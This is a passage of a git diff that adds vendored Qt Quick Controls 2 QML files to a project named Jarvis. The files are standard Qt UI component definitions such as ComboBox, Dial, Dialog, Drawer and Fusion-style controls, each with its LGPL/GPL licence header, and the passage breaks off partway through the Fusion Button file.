Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Window 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Controls.impl 2.15 +import QtQuick.Templates 2.15 as T + +T.ComboBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + leftPadding: padding + (!control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + rightPadding: padding + (control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + + delegate: ItemDelegate { + width: ListView.view.width + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] : model[control.textRole]) : modelData + palette.text: control.palette.text + palette.highlightedText: control.palette.highlightedText + font.weight: control.currentIndex === index ? Font.DemiBold : Font.Normal + highlighted: control.highlightedIndex === index + hoverEnabled: control.hoverEnabled + } + + indicator: ColorImage { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + color: control.palette.dark + defaultColor: "#353637" + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/images/double-arrow.png" + opacity: enabled ? 1 : 0.3 + } + + contentItem: T.TextField { + leftPadding: !control.mirrored ? 12 : control.editable && activeFocus ? 3 : 1 + rightPadding: control.mirrored ? 12 : control.editable && activeFocus ? 3 : 1 + topPadding: 6 - control.padding + bottomPadding: 6 - control.padding + + text: control.editable ? control.editText : control.displayText + + enabled: control.editable + autoScroll: control.editable + readOnly: control.down + inputMethodHints: control.inputMethodHints + validator: control.validator + selectByMouse: control.selectTextByMouse + + font: control.font + color: control.editable ? control.palette.text : control.palette.buttonText + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + verticalAlignment: Text.AlignVCenter + + background: Rectangle { + visible: control.enabled && control.editable && !control.flat + border.width: parent && parent.activeFocus ? 2 : 1 + border.color: parent && parent.activeFocus ? control.palette.highlight : control.palette.button + color: control.palette.base + } + } + + background: Rectangle { + implicitWidth: 140 + implicitHeight: 40 + + color: control.down ? control.palette.mid : control.palette.button + border.color: control.palette.highlight + border.width: !control.editable && control.visualFocus ? 2 : 0 + visible: !control.flat || control.down + } + + popup: T.Popup { + y: control.height + width: control.width + height: Math.min(contentItem.implicitHeight, control.Window.height - topMargin - bottomMargin) + topMargin: 6 + bottomMargin: 6 + + contentItem: ListView { + clip: true + implicitHeight: contentHeight + model: control.delegateModel + currentIndex: control.highlightedIndex + highlightMoveDuration: 0 + + Rectangle { + z: 10 + width: parent.width + height: parent.height + color: "transparent" + border.color: control.palette.mid + } + + T.ScrollIndicator.vertical: ScrollIndicator { } + } + + background: Rectangle { + color: control.palette.window + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Container.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Container.qml new file mode 100644 index 00000000..83ab957d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Container.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.Container { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Control.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Control.qml new file mode 100644 index 00000000..a963a563 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Control.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.Control { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/DelayButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/DelayButton.qml new file mode 100644 index 00000000..1c545a71 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/DelayButton.qml @@ -0,0 +1,105 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.DelayButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + horizontalPadding: padding + 2 + + transition: Transition { + NumberAnimation { + duration: control.delay * (control.pressed ? 1.0 - control.progress : 0.3 * control.progress) + } + } + + contentItem: ItemGroup { + ClippedText { + clip: control.progress > 0 + clipX: -control.leftPadding + control.progress * control.width + clipWidth: (1.0 - control.progress) * control.width + visible: control.progress < 1 + + text: control.text + font: control.font + opacity: enabled ? 1 : 0.3 + color: control.palette.buttonText + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + elide: Text.ElideRight + } + + ClippedText { + clip: control.progress > 0 + clipX: -control.leftPadding + clipWidth: control.progress * control.width + visible: control.progress > 0 + + text: control.text + font: control.font + opacity: enabled ? 1 : 0.3 + color: control.palette.brightText + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + elide: Text.ElideRight + } + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + color: Color.blend(control.palette.button, control.palette.mid, control.down ? 0.5 : 0.0) + border.color: control.palette.highlight + border.width: control.visualFocus ? 2 : 0 + + PaddedRectangle { + padding: control.visualFocus ? 2 : 0 + width: control.progress * parent.width + height: parent.height + color: Color.blend(control.palette.dark, control.palette.mid, control.down ? 0.5 : 0.0) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Dial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Dial.qml new file mode 100644 index 00000000..cc4618a5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Dial.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Dial { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 184 // ### remove 184 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 184 // ### remove 184 in Qt 6 + + background: DialImpl { + implicitWidth: 184 + implicitHeight: 184 + color: control.visualFocus ? control.palette.highlight : control.palette.dark + progress: control.position + opacity: control.enabled ? 1 : 0.3 + } + + handle: ColorImage { + x: control.background.x + control.background.width / 2 - control.handle.width / 2 + y: control.background.y + control.background.height / 2 - control.handle.height / 2 + width: 14 + height: 10 + defaultColor: "#353637" + color: control.visualFocus ? control.palette.highlight : control.palette.dark + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/images/dial-indicator.png" + antialiasing: true + opacity: control.enabled ? 1 : 0.3 + transform: [ + Translate { + y: -Math.min(control.background.width, control.background.height) * 0.4 + control.handle.height / 2 + }, + Rotation { + angle: control.angle + origin.x: control.handle.width / 2 + origin.y: control.handle.height / 2 + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Dialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Dialog.qml new file mode 100644 index 00000000..6c2e4b1b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Dialog.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.Dialog { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + padding: 12 + + background: Rectangle { + color: control.palette.window + border.color: control.palette.dark + } + + header: Label { + text: control.title + visible: control.title + elide: Label.ElideRight + font.bold: true + padding: 12 + background: Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 1 + color: control.palette.window + } + } + + footer: DialogButtonBox { + visible: count > 0 + } + + T.Overlay.modal: Rectangle { + color: Color.transparent(control.palette.shadow, 0.5) + } + + T.Overlay.modeless: Rectangle { + color: Color.transparent(control.palette.shadow, 0.12) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/DialogButtonBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/DialogButtonBox.qml new file mode 100644 index 00000000..3c9d5b48 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/DialogButtonBox.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.DialogButtonBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + (control.count === 1 ? implicitContentWidth * 2 : implicitContentWidth) + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + contentWidth: contentItem.contentWidth + + spacing: 1 + padding: 12 + alignment: count === 1 ? Qt.AlignRight : undefined + + delegate: Button { + width: control.count === 1 ? control.availableWidth / 2 : undefined + } + + contentItem: ListView { + model: control.contentModel + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + snapMode: ListView.SnapToItem + } + + background: Rectangle { + implicitHeight: 40 + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + color: control.palette.window + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Drawer.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Drawer.qml new file mode 100644 index 00000000..17465fd4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Drawer.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Drawer { + id: control + + parent: T.Overlay.overlay + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: control.edge === Qt.BottomEdge + leftPadding: control.edge === Qt.RightEdge + rightPadding: control.edge === Qt.LeftEdge + bottomPadding: control.edge === Qt.TopEdge + + enter: Transition { SmoothedAnimation { velocity: 5 } } + exit: Transition { SmoothedAnimation { velocity: 5 } } + + background: Rectangle { + color: control.palette.window + Rectangle { + readonly property bool horizontal: control.edge === Qt.LeftEdge || control.edge === Qt.RightEdge + width: horizontal ? 1 : parent.width + height: horizontal ? parent.height : 1 + color: control.palette.dark + x: control.edge === Qt.LeftEdge ? parent.width - 1 : 0 + y: control.edge === Qt.TopEdge ? parent.height - 1 : 0 + } + } + + T.Overlay.modal: Rectangle { + color: Color.transparent(control.palette.shadow, 0.5) + } + + T.Overlay.modeless: Rectangle { + color: Color.transparent(control.palette.shadow, 0.12) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Frame.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Frame.qml new file mode 100644 index 00000000..2fe46104 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Frame.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Frame { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: "transparent" + border.color: control.palette.mid + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ApplicationWindow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ApplicationWindow.qml new file mode 100644 index 00000000..9079403e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ApplicationWindow.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.2 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ApplicationWindow { + id: window + + color: palette.window + + overlay.modal: Rectangle { + color: Fusion.topShadow + } + + overlay.modeless: Rectangle { + color: Fusion.topShadow + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/BusyIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/BusyIndicator.qml new file mode 100644 index 00000000..554c3368 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/BusyIndicator.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.BusyIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + + contentItem: BusyIndicatorImpl { + implicitWidth: 28 + implicitHeight: 28 + color: control.palette.text + + running: control.running + opacity: control.running ? 1 : 0 + Behavior on opacity { OpacityAnimator { duration: 250 } } + + RotationAnimator on rotation { + running: control.running || contentItem.visible + from: 0 + to: 360 + duration: 1000 + loops: Animation.Infinite + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Button.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Button.qml new file mode 100644 index 00000000..7822634d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Button.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Button { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 4 + spacing: 6 + + icon.width: 16 